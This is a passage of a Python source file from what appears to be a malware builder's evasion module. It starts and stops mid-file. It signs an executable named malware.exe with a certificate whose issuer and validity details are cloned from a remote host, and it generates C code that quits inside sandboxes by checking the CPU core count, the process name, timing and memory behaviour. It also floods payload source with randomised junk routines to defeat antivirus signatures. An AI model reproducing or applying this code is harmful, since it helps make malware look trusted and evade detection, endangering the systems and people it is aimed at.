34 | cert.set_issuer(x509.get_issuer()) 35 | cert.set_notBefore(x509.get_notBefore()) 36 | cert.set_notAfter(x509.get_notAfter()) 37 | cert.set_pubkey(k) 38 | cert.sign(k, 'sha256') 39 | cncrt.write_bytes(crypto.dump_certificate(crypto.FILETYPE_PEM, cert)) 40 | cnkey.write_bytes(crypto.dump_privatekey(crypto.FILETYPE_PEM, k)) 41 | try: 42 | pfx = crypto.PKCS12() 43 | except AttributeError: 44 | pfx = crypto.PKCS12Type() 45 | pfx.set_privatekey(k) 46 | pfx.set_certificate(cert) 47 | pfxdata = pfx.export() 48 | PFXFILE.write_bytes(pfxdata) 49 | args = ("osslsigncode", "sign", "-pkcs12", PFXFILE, "-n", core.varname_creator(), "-i", TIMESTAMP_URL, "-in", filename, "-out", out) 50 | call(args, stdout=PIPE) 51 | certificate = host + ":" + port 52 | core.pe_signed(certificate) 53 | system(f"mv output/malware.exe {filename} && rm -rf certs/") 54 | 55 | except Exception as ex: 56 | core.bad_certificate(ex) 57 | 58 | 59 | def sleeper(mseconds): 60 | tick = core.varname_creator() 61 | tac = core.varname_creator() 62 | stub = "int " + tick + "=GetTickCount();\n" 63 | stub += "Sleep(" + mseconds + ");\n" 64 | stub += "int " + tac + "=GetTickCount();\n" 65 | stub += "if ((" + tac + "-" + tick + ") < " + mseconds + "){\n" 66 | stub += "exit(0);}\n" 67 | return stub 68 | 69 | 70 | def the_great_evasion(architecture, filename): 71 | evasion_code = "" 72 | evasion_list = [1, 2, 3, 4, 5] 73 | shuffle(evasion_list) 74 | for number in evasion_list: 75 | if number == 1: 76 | evasion_code += my_name_is(filename) 77 | 78 | elif number == 2: 79 | evasion_code += check_mono_core() 80 | 81 | elif number == 3: 82 | if architecture == "x86": 83 | pass 84 | else: 85 | evasion_code += check_multithread() 86 | 87 | elif number == 4: 88 | evasion_code += memory_decoy() 89 | 90 | elif number == 5: 91 | evasion_code += discrete_counter() 92 | 93 | elif number == 6: # to edit 94 | evasion_code += av_memory() 95 | 96 | core.evasion_added() 97 | return evasion_code 98 | 99 | 100 | def my_name_is(filename): 101 | filename = filename.replace('output/', '') 102 | evasion_code = f'\n\n\nif (strstr(argv[0], "{filename}") > 0)' + "{\n" 103 | evasion_code += "int i = 0;\n}" 104 | evasion_code += "else{\nexit(0);}\n" 105 | return evasion_code 106 | 107 | 108 | def check_mono_core(): 109 | sysguide = core.varname_creator() 110 | xcore = core.varname_creator() 111 | evasion_code = f"\n\n\nSYSTEM_INFO {sysguide};\n" 112 | evasion_code += f"GetSystemInfo(&{sysguide});\n" 113 | evasion_code += f"int {xcore} = {sysguide}.dwNumberOfProcessors;\n" 114 | evasion_code += f"if ({xcore} < 2)" + "{\nexit(0);}\n" 115 | return evasion_code 116 | 117 | 118 | def check_multithread(): 119 | mem = core.varname_creator() 120 | evasion_code = f"\n\n\nLPVOID {mem} = NULL;\n" 121 | evasion_code += f"{mem} = VirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);\n" 122 | evasion_code += f"if ({mem} != NULL)" + "{\n" + f'printf("{core.varname_creator()}");' + "\n}" 123 | evasion_code += "else{\nexit(0);}\n" 124 | return evasion_code 125 | 126 | 127 | def memory_decoy(): 128 | mem = str(randint(150000000, 400000000)) 129 | ms = str(randint(5000, 60000)) 130 | mem_dmp = core.varname_creator() 131 | tick = core.varname_creator() 132 | tack = core.varname_creator() 133 | evasion_code = "\n\n\nchar * " + mem_dmp + " = NULL;\n" 134 | evasion_code += mem_dmp + " = (char *) malloc(" + mem + ");\n" 135 | evasion_code += "if (" + mem_dmp + " != NULL){\n" 136 | evasion_code += "memset(" + mem_dmp + ", 00, " + mem + ");\n}" 137 | evasion_code += "int " + tick + " = GetTickCount();\n" 138 | evasion_code += "Sleep(" + ms + ");\n" 139 | evasion_code += "int " + tack + " = GetTickCount();\n" 140 | evasion_code += "if ((" + tack + " - " + tick + ") < " + ms + "){\nexit(0);}\n" 141 | evasion_code += "free(" + mem_dmp + ");\n" 142 | return evasion_code 143 | 144 | 145 | def discrete_counter(): 146 | operation = core.varname_creator() 147 | counter = core.varname_creator() 148 | dyn_counter = core.varname_creator() 149 | evasion_code = "\n\n\nsigned long long int " + operation + " =" + str(randint(10000000000, 30000000000)) + ";\n" 150 | evasion_code += "signed long long int " + counter + " = 0;\n" 151 | evasion_code += "signed long long int " + dyn_counter + " = 0;\n" 152 | evasion_code += "for (" + dyn_counter + " =0; " + dyn_counter + " < " + operation + "; " + dyn_counter + "++){" + counter + "++;}" 153 | evasion_code += "if (" + counter + " != " + operation + "){\nexit(0);}\n" 154 | return evasion_code 155 | 156 | 157 | def av_memory(): 158 | pmc = core.varname_creator() 159 | evasion_code = "\n\n\nPROCESS_MEMORY_COUNTERS " + pmc + ";\n" 160 | evasion_code += "GetProcessMemoryInfo(GetCurrentProcess(), & " + pmc + ", sizeof(" + pmc + "));\n" 161 | evasion_code += "if (" + pmc + '.WorkingSetSize <= 3500000){\nprintf("' + core.varname_creator() + '");}\n' 162 | evasion_code += "else{\nexit(0);}\n" 163 | return evasion_code 164 | 165 | 166 | def junk_inject(raw_code): 167 | junked_code = "" 168 | for line in raw_code: 169 | if line == "\n": 170 | junked_code += line.replace(line, junk_code()) 171 | else: 172 | junked_code += line 173 | core.junkcode_added() 174 | return junked_code 175 | 176 | 177 | def junk_code(): 178 | code = "" 179 | number = randint(8, 32) 180 | injection = 0 181 | 182 | while injection != number: 183 | injection += 1 184 | H = randint(32, 64) 185 | rand_junk = randint(1, 52) # 1 - 52 186 | 187 | if rand_junk == 1: 188 | code += sum_first_n_integer_1(H) 189 | 190 | elif rand_junk == 2: 191 | code += sum_first_n_inter_2(H) 192 | 193 | elif rand_junk == 3: 194 | code += fibonacci(H) 195 | 196 | elif rand_junk == 4: 197 | code += twin_tower(H) 198 | 199 | elif rand_junk == 5: 200 | code += back_to_zero(H) 201 | 202 | elif rand_junk == 6: 203 | code += back_to_num_1(H) 204 | 205 | elif rand_junk == 7: 206 | code += back_to_num_2(H) 207 | 208 | elif rand_junk == 8: 209 | code += primes_number_soe(H) 210 | 211 | elif rand_junk == 9: 212 | code += primes_number_sos(H) 213 | 214 | elif rand_junk == 10: 215 | code += average_1(H) 216 | 217 | elif rand_junk == 11: 218 | code += average_2(H) 219 | 220 | elif rand_junk == 12: 221 | code += average_variance_stanard_and_deviation_1(H) 222 | 223 | elif rand_junk == 13: 224 | code += average_variance_stanard_and_deviation_2(H) 225 | 226 | elif rand_junk == 14: 227 | code += reverse_array_1(H) 228 | 229 | elif rand_junk == 15: 230 | code += reverse_array_2(H) 231 | 232 | elif rand_junk == 16: 233 | code += double_reverse_array_1(H) 234 | 235 | elif rand_junk == 17: 236 | code += double_reverse_array_2(H) 237 | 238 | elif rand_junk == 18: 239 | code += random_numbers(H) 240 | 241 | elif rand_junk == 19: 242 | code += buble_sort_int_array(H) 243 | 244 | elif rand_junk == 20: 245 | code += buble_sort_float_array(H) 246 | 247 | elif rand_junk == 21: 248 | code += gnome_sort_int_array(H) 249 | 250 | elif rand_junk == 22: 251 | code += last_armstrong(H) 252 | 253 | elif rand_junk == 23: 254 | code += odd_or_even_1(H) 255 | 256 | elif rand_junk == 24: 257 | code += odd_or_even_2(H) 258 | 259 | elif rand_junk == 25: 260 | code += ceil_routine_1(H) 261 | 262 | elif rand_junk == 26: 263 | code += ceil_routine_2(H) 264 | 265 | elif rand_junk == 27: 266 | code += floor_routine_1(H) 267 | 268 | elif rand_junk == 28: 269 | code += floor_routine_2(H) 270 | 271 | elif rand_junk == 29: 272 | code += acos_routine_1(H) 273 | 274 | elif rand_junk == 30: 275 | code += acos_routine_2(H) 276 | 277 | elif rand_junk == 31: 278 | code += asin_routine_1(H) 279 | 280 | elif rand_junk == 32: 281 | code += asin_routine_2(H) 282 | 283 | elif rand_junk == 33: 284 | code += atan_routine_1(H) 285 | 286 | elif rand_junk == 34: 287 | code += atan_routine_2(H) 288 | 289 | elif rand_junk == 35: 290 | code += fabs_routine_1(H) 291 | 292 | elif rand_junk == 36: 293 | code += fabs_routine_2(H) 294 | 295 | elif rand_junk == 37: 296 | code += exp_routine_1(H) 297 | 298 | elif rand_junk == 38: 299 | code += exp_routine_2(H) 300 | 301 | elif rand_junk == 39: 302 | code += ln_routine_1(H) 303 | 304 | elif rand_junk == 40: 305 | code += ln_routine_2(H) 306 | 307 | elif rand_junk == 41: 308 | code += log10_routine_1(H) 309 | 310 | elif rand_junk == 42: 311 | code += log10_routine_2(H) 312 | 313 | elif rand_junk == 43: 314 | code += fmod_routine_1(H) 315 | 316 | elif rand_junk == 44: 317 | code += fmod_routine_2(H) 318 | 319 | elif rand_junk == 45: 320 | code += ldexp_routine_1(H) 321 | 322 | elif rand_junk == 46: 323 | code += ldexp_routine_2(H) 324 | 325 | elif rand_junk == 47: 326 | code += geometric_1(H) 327 | 328 | elif rand_junk == 48: 329 | code += geometric_2(H) 330 | 331 | elif rand_junk == 49: 332 | code += geometric_3(H) 333 | 334 | elif rand_junk == 50: 335 | code += geometric_4(H) 336 | 337 | elif rand_junk == 51: 338 | code += geometric_5(H) 339 | 340 | elif rand_junk == 52: 341 | code += shaker_snort(H) 342 | 343 | return code 344 | 345 | 346 | def sum_first_n_integer_1(H): 347 | XH1 = randint(8, 16) 348 | XH2 = randint(50, 120) 349 | randcounter = core.varname_creator() 350 | randcounter2 = core.varname_creator() 351 | randcounter3 = core.varname_creator() 352 | randbignumb = str(randint(XH1 * H, XH2 * H)) 353 | junkcode = f"int {randcounter},{randcounter2};" 354 | junkcode += f"unsigned long long int {randcounter3} = 0;" 355 | junkcode += f"{randcounter2} = {randbignumb};" 356 | junkcode += f"for ({randcounter} = 1; {randcounter} <= {randcounter2}; {randcounter}++)" + "{" 357 | junkcode += f"{randcounter3} = {randcounter3} + {randcounter};" + "}" 358 | return junkcode 359 | 360 | 361 | def sum_first_n_inter_2(H): 362 | XH1 = randint(8, 16) 363 | XH2 = randint(50, 120) 364 | randcounter = core.varname_creator() 365 | randcounter2 = core.varname_creator() 366 | randbignumb = str(randint(XH1 * H, XH2 * H)) 367 | junkcode = f"int {randcounter};" 368 | junkcode += f"unsigned long long int {randcounter2} = 0;" 369 | junkcode += f"{randcounter} = {randbignumb};" 370 | junkcode += f"while({randcounter} > 0)" + "{" 371 | junkcode += f"{randcounter2} = {randcounter2} + {randcounter};" 372 | junkcode += f"{randcounter} = {randcounter} - 1;" + "}" 373 | return junkcode 374 | 375 | 376 | def fibonacci(H): 377 | XH1 = randint(8, 16) 378 | XH2 = randint(50, 120) 379 | rand1 = core.varname_creator() 380 | rand2 = core.varname_creator() 381 | rand3 = core.varname_creator() 382 | rand4 = core.varname_creator() 383 | rand5 = core.varname_creator() 384 | randbignumb = str(randint(XH1 * H, XH2 * H)) 385 | junkcode = f"int {rand1} = 0,{rand2} = 1,{rand3},{rand4},{rand5} = 0;" 386 | junkcode += f"{rand4} = {randbignumb};" 387 | junkcode += f"while ({rand5} < {rand4})" + "{" 388 | junkcode += f"{rand3} = {rand1} + {rand2};{rand5}++;" 389 | junkcode += f"{rand1} = {rand2};{rand2} = {rand3};" + "}" 390 | return junkcode 391 | 392 | 393 | def twin_tower(H): 394 | XH1 = randint(8, 16) 395 | XH2 = randint(50, 120) 396 | randbig1 = str(randrange(XH1 * H, XH2 * H, 10)) 397 | randbig2 = str(randrange(XH1 * H, XH2 * H, 10)) 398 | randcpt = core.varname_creator() 399 | randcpt2 = core.varname_creator() 400 | junkcode = f"int {randcpt} = {randbig1};" 401 | junkcode += f"int {randcpt2} = {randbig2};" 402 | junkcode += f"while ({randcpt} > 0 )" + "{" 403 | junkcode += f"if ({randcpt} > {randcpt2})" + "{" 404 | junkcode += randcpt + f" = " + randcpt + " - 1;" 405 | junkcode += "}else{" 406 | junkcode += f"{randcpt2} = {randcpt2} - 1;" + "}}" 407 | return junkcode 408 | 409 | 410 | def back_to_zero(H): 411 | XH1 = randint(8, 16) 412 | XH2 = randint(50, 120) 413 | randbig1 = str(randrange(XH1 * H, XH2 * H, 10)) 414 | randcpt = core.varname_creator() 415 | junkcode = f"int {randcpt} = {randbig1};" 416 | junkcode += f"while ({randcpt} > 0)" + "{" 417 | junkcode += f"{randcpt} = {randcpt} - 1;" + "}" 418 | return junkcode 419 | 420 | 421 | def pow_counter(H): 422 | XH1 = randint(8, 16) 423 | XH2 = randint(50, 120) 424 | randsmall = str(uniform(1.000001000, 1.000009999)) 425 | randsmall2 = str(uniform(1.000001000, 1.000009999)) 426 | randbig = str(randrange(XH1 * H, XH2 * H, 10)) 427 | randcpt = core.varname_creator() 428 | randi = core.varname_creator() 429 | junkcode = "double " + randcpt + " = " + randsmall + ";" 430 | junkcode += "double " + randi + " = " + randsmall2 + ";" 431 | junkcode += "while(" + randcpt + " < " + randbig + "){" 432 | junkcode += randcpt + " = pow(" + randcpt + "," + randi + ");}" 433 | return junkcode 434 | 435 | 436 | def back_to_num_1(H): 437 | XH1 = randint(8, 16) 438 | XH2 = randint(50, 120) 439 | randbig1 = str(randrange(XH1 * H, XH2 * H, 10)) 440 | randcpt = core.varname_creator() 441 | junkcode = "int " + randcpt + " = " + randbig1 + ";" 442 | junkcode += "while ( " + randcpt + " > " + str(randrange(10, 99, 2)) + " ){" 443 | junkcode += randcpt + " = " + randcpt + " - 1;}" 444 | return junkcode 445 | 446 | 447 | def back_to_num_2(H): 448 | XH1 = randint(8, 16) 449 | XH2 = randint(50, 120) 450 | randbig1 = str(randrange(XH1 * H, XH2 * H, 10)) 451 | randcpt = core.varname_creator() 452 | randcpt2 = core.varname_creator() 453 | junkcode = "int " + randcpt + ";" 454 | junkcode += "int " + randcpt2 + " = " + randbig1 + ";" 455 | junkcode += "for(" + randcpt + " = " + randbig1 + ";" + randcpt + " > " + str(randrange(10, 99, 2)) + ";" + randcpt + "--){" 456 | junkcode += randcpt2 + " = " + randcpt2 + " - 1;}" 457 | return junkcode 458 | 459 | 460 | def primes_number_sos(H): 461 | XH1 = randint(8, 16) 462 | XH2 = randint(50, 120) 463 | randarraysize = core.varname_creator() 464 | randranges = str(randint(XH1 * H, XH2 * H)) 465 | randprimevar = core.varname_creator() 466 | randprimenumb = core.varname_creator() 467 | randsizevar = core.varname_creator() 468 | isprime = core.varname_creator() 469 | randn = core.varname_creator() 470 | randflag = core.varname_creator() 471 | randflag2 = core.varname_creator() 472 | junkcode = "int " + randflag + "," + randflag2 + ";" 473 | junkcode += "int " + randprimevar + " = 0;" 474 | junkcode += "int " + randarraysize + " = " + randranges + ";" 475 | junkcode += "int " + randn + " = " + randranges + " / 2;" 476 | junkcode += "int " + randsizevar + ";" 477 | junkcode += "int* " + isprime + " = (int*)malloc(sizeof(int) * (" + randarraysize + " + 1));" 478 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randn + ";" + randflag + "++){" 479 | junkcode += isprime + "[" + randflag + "] = " + randflag + ";}" 480 | junkcode += "for(" + randflag + " = 1;" + randflag + " < " + randn + ";" + randflag + "++){" 481 | junkcode += "for(" + randflag2 + " = " + randflag + ";" + randflag2 + " <= (" + randn + " - " + randflag + ")/(2 * " + randflag + " + 1);" + randflag2 + "++){" 482 | junkcode += isprime + "[" + randflag + " + " + randflag2 + " + 2 * " + randflag + " + " + randflag2 + "] = 0;}}" 483 | junkcode += "if(" + randarraysize + " > 2){" 484 | junkcode += isprime + "[" + randprimevar + "++] = 2;}" 485 | junkcode += "for(" + randflag + " = 1;" + randflag + " < " + randn + ";" + randflag + "++){" 486 | junkcode += "if(" + isprime + "[" + randflag + "] != 0){" 487 | junkcode += isprime + "[" + randprimevar + "++] = " + randflag + " * 2 + 1;}}" 488 | junkcode += randsizevar + " = sizeof " + isprime + " / sizeof(int);" 489 | junkcode += "int " + randprimenumb + " = 0;" 490 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randsizevar + ";" + randflag + "++){" 491 | junkcode += "if(" + isprime + "[" + randflag + "] != 0){" 492 | junkcode += randprimenumb + " ++;}}" 493 | junkcode += "free(" + isprime + ");" 494 | return junkcode 495 | 496 | 497 | def primes_number_soe(H): 498 | XH1 = randint(8, 16) 499 | XH2 = randint(50, 120) 500 | randranges = str(randint(XH1 * H, XH2 * H)) 501 | randprimevar = core.varname_creator() 502 | randvar = core.varname_creator() 503 | randflag = core.varname_creator() 504 | randflag2 = core.varname_creator() 505 | junkcode = "unsigned long long int " + randflag + "," + randflag2 + ";" 506 | junkcode += "int *" + randprimevar + ";" 507 | junkcode += "int " + randvar + " = 1;" 508 | junkcode += randprimevar + " = (int*)malloc(sizeof(int) * " + randranges + ");" 509 | junkcode += "for(" + randflag + " = 2;" + randflag + " < " + randranges + ";" + randflag + "++){" 510 | junkcode += randprimevar + "[" + randflag + "] = 1;}" 511 | junkcode += "for(" + randflag + " = 2;" + randflag + " < " + randranges + ";" + randflag + "++){" 512 | junkcode += "if(" + randprimevar + "[" + randflag + "]){" 513 | junkcode += "for(" + randflag2 + " = " + randflag + ";" + randflag + " * " + randflag2 + " < " + randranges + ";" + randflag2 + "++){" 514 | junkcode += randprimevar + "[" + randflag + " * " + randflag2 + "] = 0;}}}" 515 | junkcode += "free(" + randprimevar + ");" 516 | return junkcode 517 | 518 | 519 | def average_1(H): 520 | XH1 = randint(8, 16) 521 | XH2 = randint(50, 120) 522 | randranges = str(randint(XH1 * H, XH2 * H)) 523 | randsum = core.varname_creator() 524 | randsum2 = core.varname_creator() 525 | randaverage = core.varname_creator() 526 | randvar = core.varname_creator() 527 | randflag = core.varname_creator() 528 | junkcode = "int " + randflag + ";" 529 | junkcode += "int* " + randvar + " = (int*)malloc(sizeof(int) * " + randranges + ");" 530 | junkcode += "int " + randsum + " = 0;int " + randsum2 + " = 0;" 531 | junkcode += "float " + randaverage + ";" 532 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 533 | junkcode += randvar + "[" + randflag + "] = rand() % 30;}" 534 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 535 | junkcode += randsum + " = " + randsum + " + " + randvar + "[" + randflag + "];}" 536 | junkcode += randaverage + "/((float)" + randranges + ");" 537 | junkcode += "free(" + randvar + ");" 538 | return junkcode 539 | 540 | 541 | def average_2(H): 542 | XH1 = randint(8, 16) 543 | XH2 = randint(50, 120) 544 | randranges = str(randint(XH1 * H, XH2 * H)) 545 | randsum = core.varname_creator() 546 | randsum2 = core.varname_creator() 547 | randaverage = core.varname_creator() 548 | randvar = core.varname_creator() 549 | randflag = core.varname_creator() 550 | junkcode = "int " + randflag + ";" 551 | junkcode += "int " + randsum + " = 0;int " + randsum2 + " = 0;" 552 | junkcode += "int* " + randvar + " = (int*)malloc(sizeof(int) * " + randranges + ");" 553 | junkcode += "float " + randaverage + ";" 554 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 555 | junkcode += randvar + "[" + randflag + "] = rand() % 25;" 556 | junkcode += randsum + " = " + randsum + " + " + randvar + "[" + randflag + "];}" 557 | junkcode += randaverage + "/((float)" + randranges + ");" 558 | junkcode += "free(" + randvar + ");" 559 | return junkcode 560 | 561 | 562 | def average_variance_stanard_and_deviation_1(H): 563 | XH1 = randint(8, 16) 564 | XH2 = randint(50, 120) 565 | randranges = str(randint(XH1 * H, XH2 * H)) 566 | randsum = core.varname_creator() 567 | randsum2 = core.varname_creator() 568 | randaverage = core.varname_creator() 569 | randvariance = core.varname_creator() 570 | randdevstd = core.varname_creator() 571 | randvar = core.varname_creator() 572 | randflag = core.varname_creator() 573 | junkcode = "int* " + randvar + " = (int*)malloc(sizeof(int) * " + randranges + ");" 574 | junkcode += "int " + randflag + ";" 575 | junkcode += "int " + randsum + " = 0;int " + randsum2 + " = 0;" 576 | junkcode += "float " + randaverage + "," + randvariance + "," + randdevstd + ";" 577 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 578 | junkcode += randvar + "[" + randflag + "] = rand() % 35;}" 579 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 580 | junkcode += randsum + " = " + randsum + " + " + randvar + "[" + randflag + "];}" 581 | junkcode += randaverage + "/((float)" + randranges + ");" 582 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 583 | junkcode += randsum2 + " = " + randsum2 + " + pow((" + randvar + "[" + randflag + "]" + " - " + randaverage + "),2);}" 584 | junkcode += randvariance + " = " + randsum2 + "/((float)" + randranges + ");" 585 | junkcode += randdevstd + " = sqrt(" + randvariance + ");" 586 | junkcode += "free(" + randvar + ");" 587 | return junkcode 588 | 589 | 590 | def average_variance_stanard_and_deviation_2(H): 591 | XH1 = randint(8, 16) 592 | XH2 = randint(50, 120) 593 | randranges = str(randint(XH1 * H, XH2 * H)) 594 | randsum = core.varname_creator() 595 | randsum2 = core.varname_creator() 596 | randaverage = core.varname_creator() 597 | randvariance = core.varname_creator() 598 | randdevstd = core.varname_creator() 599 | randvar = core.varname_creator() 600 | randflag = core.varname_creator() 601 | junkcode = "int " + randsum + " = 0;int " + randsum2 + " = 0;" 602 | junkcode += "int *" + randvar + " = (int*)malloc(sizeof(int)*" + randranges + ");" 603 | junkcode += "float " + randaverage + "," + randvariance + "," + randdevstd + ";" 604 | junkcode += "int " + randflag + ";" 605 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 606 | junkcode += randvar + "[" + randflag + "] = rand() % 35;" 607 | junkcode += randsum + " = " + randsum + " + " + randvar + "[" + randflag + "];}" 608 | junkcode += randaverage + "/((float)" + randranges + ");" 609 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 610 | junkcode += randsum2 + " = " + randsum2 + " + pow((" + randvar + "[" + randflag + "]" + " - " + randaverage + "),2);}" 611 | junkcode += randvariance + " = " + randsum2 + "/((float)" + randranges + ");" 612 | junkcode += randdevstd + " = sqrt(" + randvariance + ");" 613 | junkcode += "free(" + randvar + ");" 614 | return junkcode 615 | 616 | 617 | def reverse_array_1(H): 618 | XH1 = randint(8, 16) 619 | XH2 = randint(50, 120) 620 | randranges = str(randint(XH1 * H, XH2 * H)) 621 | randvar = core.varname_creator() 622 | randrevvar = core.varname_creator() 623 | randflag = core.varname_creator() 624 | randlenght = core.varname_creator() 625 | junkcode = "int " + randflag + ";" 626 | junkcode += "int* " + randvar + " = (int*)malloc(sizeof(int) * " + randranges + ");" 627 | junkcode += "int* " + randrevvar + " = (int*)malloc(sizeof(int) * " + randranges + ");" 628 | junkcode += "int " + randlenght + " = " + randranges + " - 1;" 629 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 630 | junkcode += randvar + "[" + randflag + "] = rand() % 300;}" 631 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 632 | junkcode += randrevvar + "[" + randflag + "] = " + randvar + "[" + randlenght + "];" 633 | junkcode += randlenght + " = " + randlenght + " - 1;}" 634 | junkcode += "free(" + randvar + ");free(" + randrevvar + ");" 635 | return junkcode 636 | 637 | 638 | def reverse_array_2(H): 639 | XH1 = randint(8, 16) 640 | XH2 = randint(50, 120) 641 | randranges = str(randint(XH1 * H, XH2 * H)) 642 | randvar = core.varname_creator() 643 | randrevvar = core.varname_creator() 644 | randflag = core.varname_creator() 645 | randLenght = core.varname_creator() 646 | junkcode = "int " + randflag + ";" 647 | junkcode += "int* " + randvar + " = (int*)malloc(sizeof(int) * " + randranges + ");" 648 | junkcode += "int* " + randrevvar + " = (int*)malloc(sizeof(int) * " + randranges + ");" 649 | junkcode += "int " + randLenght + " = " + randranges + " - 1;" 650 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 651 | junkcode += randvar + "[" + randflag + "] = rand() % 300;" 652 | junkcode += randrevvar + "[" + randflag + "] = " + randvar + "[" + randLenght + "];" 653 | junkcode += randLenght + " = " + randLenght + " - 1;}" 654 | junkcode += "free(" + randvar + ");free(" + randrevvar + ");" 655 | return junkcode 656 | 657 | 658 | def double_reverse_array_1(H): 659 | XH1 = randint(8, 16) 660 | XH2 = randint(50, 120) 661 | randranges = str(randint(XH1 * H, XH2 * H)) 662 | randvar = core.varname_creator() 663 | randrevvar = core.varname_creator() 664 | randvar2 = core.varname_creator() 665 | randrevvar2 = core.varname_creator() 666 | randflag = core.varname_creator() 667 | randLenght = core.varname_creator() 668 | junkcode = "int " + randflag + ";" 669 | junkcode += "int* " + randvar + " = (int*)malloc(sizeof(int) * " + randranges + ");" 670 | junkcode += "int* " + randvar2 + " = (int*)malloc(sizeof(int) * " + randranges + ");" 671 | junkcode += "int* " + randrevvar + " = (int*)malloc(sizeof(int) * " + randranges + ");" 672 | junkcode += "int* " + randrevvar2 + " = (int*)malloc(sizeof(int) * " + randranges + ");" 673 | junkcode += "int " + randLenght + " = " + randranges + " - 1;" 674 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 675 | junkcode += randvar + "[" + randflag + "] = rand() % 300;" 676 | junkcode += randvar2 + "[" + randflag + "] = rand() % 300;}" 677 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 678 | junkcode += randrevvar + "[" + randflag + "] = " + randvar + "[" + randLenght + "];" 679 | junkcode += randrevvar2 + "[" + randflag + "] = " + randvar2 + "[" + randLenght + "];" 680 | junkcode += randLenght + " = " + randLenght + " - 1;}" 681 | junkcode += "free(" + randvar + ");free(" + randvar2 + ");free(" + randrevvar + ");free(" + randrevvar2 + ");" 682 | return junkcode 683 | 684 | 685 | def double_reverse_array_2(H): 686 | XH1 = randint(8, 16) 687 | XH2 = randint(50, 120) 688 | randranges = str(randint(XH1 * H, XH2 * H)) 689 | randvar = core.varname_creator() 690 | randrevvar = core.varname_creator() 691 | randvar2 = core.varname_creator() 692 | randrevvar2 = core.varname_creator() 693 | randflag = core.varname_creator() 694 | randLenght = core.varname_creator() 695 | junkcode = "int " + randflag + ";" 696 | junkcode += "int* " + randvar + " = (int*)malloc(sizeof(int) * " + randranges + ");" 697 | junkcode += "int* " + randvar2 + " = (int*)malloc(sizeof(int) * " + randranges + ");" 698 | junkcode += "int* " + randrevvar + " = (int*)malloc(sizeof(int) * " + randranges + ");" 699 | junkcode += "int* " + randrevvar2 + " = (int*)malloc(sizeof(int) * " + randranges + ");" 700 | junkcode += "int " + randLenght + " = " + randranges + " - 1;" 701 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 702 | junkcode += randvar + "[" + randflag + "] = rand() % 300;" 703 | junkcode += randvar2 + "[" + randflag + "] = rand() % 300;" 704 | junkcode += randrevvar + "[" + randflag + "] = " + randvar + "[" + randLenght + "];" 705 | junkcode += randrevvar2 + "[" + randflag + "] = " + randvar2 + "[" + randLenght + "];" 706 | junkcode += randLenght + " = " + randLenght + " - 1;}" 707 | junkcode += "free(" + randvar + ");free(" + randvar2 + ");free(" + randrevvar + ");free(" + randrevvar2 + ");" 708 | return junkcode 709 | 710 | 711 | def random_numbers(H): 712 | XH1 = randint(8, 16) 713 | XH2 = randint(50, 120) 714 | randranges = str(randint(XH1 * H, XH2 * H)) 715 | randvarr = core.varname_creator() 716 | randflag = core.varname_creator() 717 | randflag2 = core.varname_creator() 718 | junkcode = "int " + randflag + "," + randflag2 + " = 0;" 719 | junkcode += "float* " + randvarr + " = (float*)malloc(sizeof(float) * " + randranges + ");" 720 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 721 | junkcode += randflag2 + " = rand() % 400;" 722 | junkcode += "if(" + randflag2 + " > 360){" 723 | junkcode += randvarr + "[" + randflag + "] = 0;" 724 | junkcode += "}else if(" + randflag2 + " < 0){" 725 | junkcode += randvarr + "[" + randflag + "] = 0;" 726 | junkcode += "}else{" 727 | junkcode += randvarr + "[" + randflag + "] = " + randflag2 + " * 0.1 / 360;}}" 728 | junkcode += "free(" + randvarr + ");" 729 | return junkcode 730 | 731 | 732 | def buble_sort_int_array(H): 733 | XH1 = randint(8, 16) 734 | XH2 = randint(50, 120) 735 | randranges = str(randint(XH1 * H, XH2 * H)) 736 | randvar = core.varname_creator() 737 | randvar2 = core.varname_creator() 738 | randflag = core.varname_creator() 739 | randflag2 = core.varname_creator() 740 | junkcode = "int *" + randvar + " = (int*)malloc(sizeof(int)*" + randranges + ");" 741 | junkcode += "int " + randflag + ";" 742 | junkcode += "int " + randflag2 + ";" 743 | junkcode += "int " + randvar2 + ";" 744 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 745 | junkcode += randvar + "[" + randflag + "] = rand() % 10000 ;}" 746 | junkcode += "for(" + randflag + " = 0;" + randflag + " < " + randranges + ";" + randflag + "++){" 747 | junkcode += "for(" + randflag2 + " = 0;" + randflag2 + " < (" + randranges + " - " + randflag + " - 1);" + randflag + "++){" 748 | junkcode += "if(" + randvar + "[" + randflag + "] > " + randvar + "[" + randflag2 + " + 1]){" 749 | junkcode += randvar2 + " = " + randvar + "[" + randflag2 + "];" 750 | junkcode += randvar + "[" + randflag2 + "] = " + randvar + "[" + randflag + " + 1];" 751 | junkcode += randvar + "[" + randflag2 + " + 1] = " + randvar2 + ";}}}" 752 | junkcode += "free(" + randvar + ");" 753 | return junkcode 754 | 755 | 756 | def buble_sort_float_array(H): 757 | XH1 = randint(8, 16) 758 | XH2 = randint(50, 120) 759 | randranges = str(randint(XH1 * H, XH2 * H)) 760 | randvar = 